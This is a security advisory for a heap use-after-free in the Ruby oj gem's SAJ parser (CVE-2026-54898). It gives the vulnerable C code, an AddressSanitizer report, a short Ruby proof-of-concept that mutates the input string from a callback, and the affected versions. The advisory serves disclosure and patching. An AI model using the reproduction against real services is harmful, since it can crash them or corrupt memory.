GHSA-q2gm-54r6-8fwm

Suggest an improvement
Source
https://github.com/advisories/GHSA-q2gm-54r6-8fwm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-q2gm-54r6-8fwm/GHSA-q2gm-54r6-8fwm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-q2gm-54r6-8fwm
Aliases
  • CVE-2026-54898
Published
2026-06-19T19:36:54Z
Modified
2026-06-19T19:45:53.245647415Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Details

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/parser.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parser_parse → parse:

static VALUE parser_parse(VALUE self, VALUE json) {
    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string
    // ...
    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer
}

// parser.c:607
static void parse(ojParser p, const byte *json) {
    const byte *b = json;
    // ...
    for (; '\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report:

==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
    #0 parse          /ext/oj/parser.c:607
    #1 parser_parse   /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
    #0 free
    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)

Reproduce

require 'oj'

class Mutator
  def initialize(json) = (@json = json; @done = false)

  def hash_start(key)
    return if @done; @done = true
    @json.replace('x' * 1_000_000)   # triggers String realloc, frees original buffer
  end

  def hash_end(key); end
  def array_start(key); end
  def array_end(key); end
  def add_value(value, key); end
end

json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)
Database specific 
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:36:54Z",
    "nvd_published_at": null,
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-416"
    ]
}
References

Affected packages

RubyGems / oj

Package

Name
oj
Purl
pkg:gem/oj

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.17.3

Affected versions

0.*
0.5
0.5.1
0.5.2
0.6.0
0.7.0
0.8.0
0.9.0
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.1.0
1.1.1
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.3.0
1.3.2
1.3.4
1.3.5
1.3.6
1.3.7
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6a2
1.4.6
1.4.7
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.6
2.1.7
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.4.0
2.4.1
2.4.2
2.4.3
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.7.3
2.8.0
2.8.1
2.9.0
2.9.1
2.9.2
2.9.3
2.9.4
2.9.5
2.9.6
2.9.7
2.9.8
2.9.9
2.10.0
2.10.1
2.10.2
2.10.3
2.10.4
2.11.0
2.11.1
2.11.2
2.11.3
2.11.4
2.11.5
2.12.0
2.12.1
2.12.2
2.12.3
2.12.4
2.12.5
2.12.6
2.12.7
2.12.8
2.12.9
2.12.10
2.12.11
2.12.12
2.12.13
2.12.14
2.13.0
2.13.1
2.14.0
2.14.1
2.14.2
2.14.3
2.14.4
2.14.5
2.14.6
2.15.0
2.15.1
2.16.0
2.16.1
2.17.0
2.17.1
2.17.2
2.17.3
2.17.4
2.17.5
2.18.0
2.18.1
2.18.2
2.18.3
2.18.4
2.18.5
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.0.10
3.0.11
3.1.0
3.1.2
3.1.3
3.1.4
3.2.0
3.2.1
3.3.0
3.3.1
3.3.2
3.3.3
3.3.4
3.3.5
3.3.6
3.3.7
3.3.8
3.3.9
3.3.10
3.4.0
3.5.0
3.5.1
3.6.0
3.6.2
3.6.3
3.6.4
3.6.5
3.6.6
3.6.7
3.6.8
3.6.9
3.6.10
3.6.11
3.6.12
3.6.13
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.7.10
3.7.11
3.7.12
3.8.0
3.8.1
3.9.0
3.9.1
3.9.2
3.10.0
3.10.1
3.10.2
3.10.3
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.5
3.11.6
3.11.7
3.11.8
3.12.0
3.12.1
3.12.2
3.12.3
3.13.0
3.13.1
3.13.2
3.13.3
3.13.4
3.13.5
3.13.6
3.13.7
3.13.8
3.13.9
3.13.10
3.13.11
3.13.12
3.13.13
3.13.14
3.13.15
3.13.16
3.13.17
3.13.18
3.13.19
3.13.20
3.13.21
3.13.22
3.13.23
3.14.0
3.14.1
3.14.2
3.14.3
3.15.0
3.15.1
3.16.0
3.16.1
3.16.2
3.16.3
3.16.4
3.16.5
3.16.6
3.16.7
3.16.8
3.16.9
3.16.10
3.16.11
3.16.12
3.16.13
3.16.14
3.16.15
3.16.16
3.16.17
3.17.0
3.17.1

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-q2gm-54r6-8fwm/GHSA-q2gm-54r6-8fwm.json"
last_known_affected_version_range 
"< 3.17.2"